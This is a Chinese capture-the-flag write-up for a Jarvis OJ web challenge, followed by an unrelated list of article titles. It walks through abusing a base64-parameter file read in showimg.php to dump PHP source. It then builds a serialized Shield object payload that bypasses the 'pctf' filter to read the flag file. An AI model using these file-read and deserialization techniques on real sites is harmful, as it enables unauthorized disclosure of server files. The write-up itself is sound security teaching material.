题目地址

http://web.jarvisoj.com:32768/

首页是一张图片

查看源码,看到了一些猫腻,showing.php     c2hpZWxkLmpwZw==是base64编码    解码成shield.jpg

我们尝试输入一下,得到了一堆乱码,可以确定是一个文件包含漏洞,可以任意读取服务器文件,文件名用base64加密

尝试读取一下shield.php(c2hpZWxkLnBocA==)

view-source:http://web.jarvisoj.com:32768/showimg.php?img=c2hvd2ltZy5waHA=
<?php
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
&& stripos($f,'pctf')===FALSE) {
readfile($f);
} else {
echo "File not found!";
}
}
?>

过滤了切换目录的字符和pctf

之后我们尝试获取index.php的页面   index.php(aW5kZXgucGhw)


view-source:http://web.jarvisoj.com:32768/showimg.php?img=aW5kZXgucGhw
<?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>

包含shield.php,可以通过get传参的方式,new 一个shield类,然后进行反序列化,那就读取一下shield.php(c2hpZWxkLnBocA==)的内容

http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLnBocA==
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
} function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>

得到了shield的类的构造函数和方法,还有提示flag在pctf.php   那读取一下pctf.php(cGN0Zi5waHA=)

http://web.jarvisoj.com:32768/showimg.php?img=cGN0Zi5waHA=

没有找到文件,前面过滤掉了pctf,所以不能直接利用,但是定义shield类里面没有进行过滤,我们利用反序列化漏洞,构造一个shield类,且属性file为pctf.php

把上面的序列化代码复制下来,本地跑一下

<?php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
} function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
$shield = new Shield('pctf.php');
echo serialize($shield);
?>

得到本地的结果

然后输入最后的payload

http://web.jarvisoj.com:32768/?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}

因为是被注释的,只能查看源码F12才能找到flag

考察点

文件包含漏洞

反序列化漏洞

最新文章

  1. C语言实现泛型编程
  2. ixgbe rx_missed_errors
  3. Java Servlet完全教程
  4. Linux Vim不明原因卡死解决办法
  5. CCF 201612-1 最大波动 (水题)
  6. 制作6寸 kindle pdf
  7. C# 开发者代码审查清单【转】
  8. OAViewObject中clearCache(),reset(),setMaxFetchSize(-1)的使用
  9. JAVA的名词释义
  10. vsto publish后无法弹出winform窗口
  11. Js 变量的作用域
  12. 如何正确的在java web配置数据池
  13. c++内存对齐 转载
  14. 设置HTML表格细边框
  15. let、var、const声明的区别
  16. Java 处理 multipart/mixed 请求
  17. C++获取MAC与IP
  18. 贪吃蛇 v1.01
  19. 9.js入门
  20. ssh远程免密登录Linux

热门文章

  1. HTML标记一览表
  2. java-11-Stream优化并行流
  3. Vue你不知到的$this.emit()的用法
  4. RabbitMQ学习笔记(五、RabbitMQ集群)
  5. [配置]VUE中通过process.env判断开发,测试和生产环境,并分环境配置不同的URL HOST
  6. PHP 的异步并行和协程 C 扩展 Swoole (附链接)
  7. Sql 代码规范说明
  8. mysql 常用命令行总结
  9. 用友的SPS定义
  10. C# ZedGraph实时多条曲线数据更新实例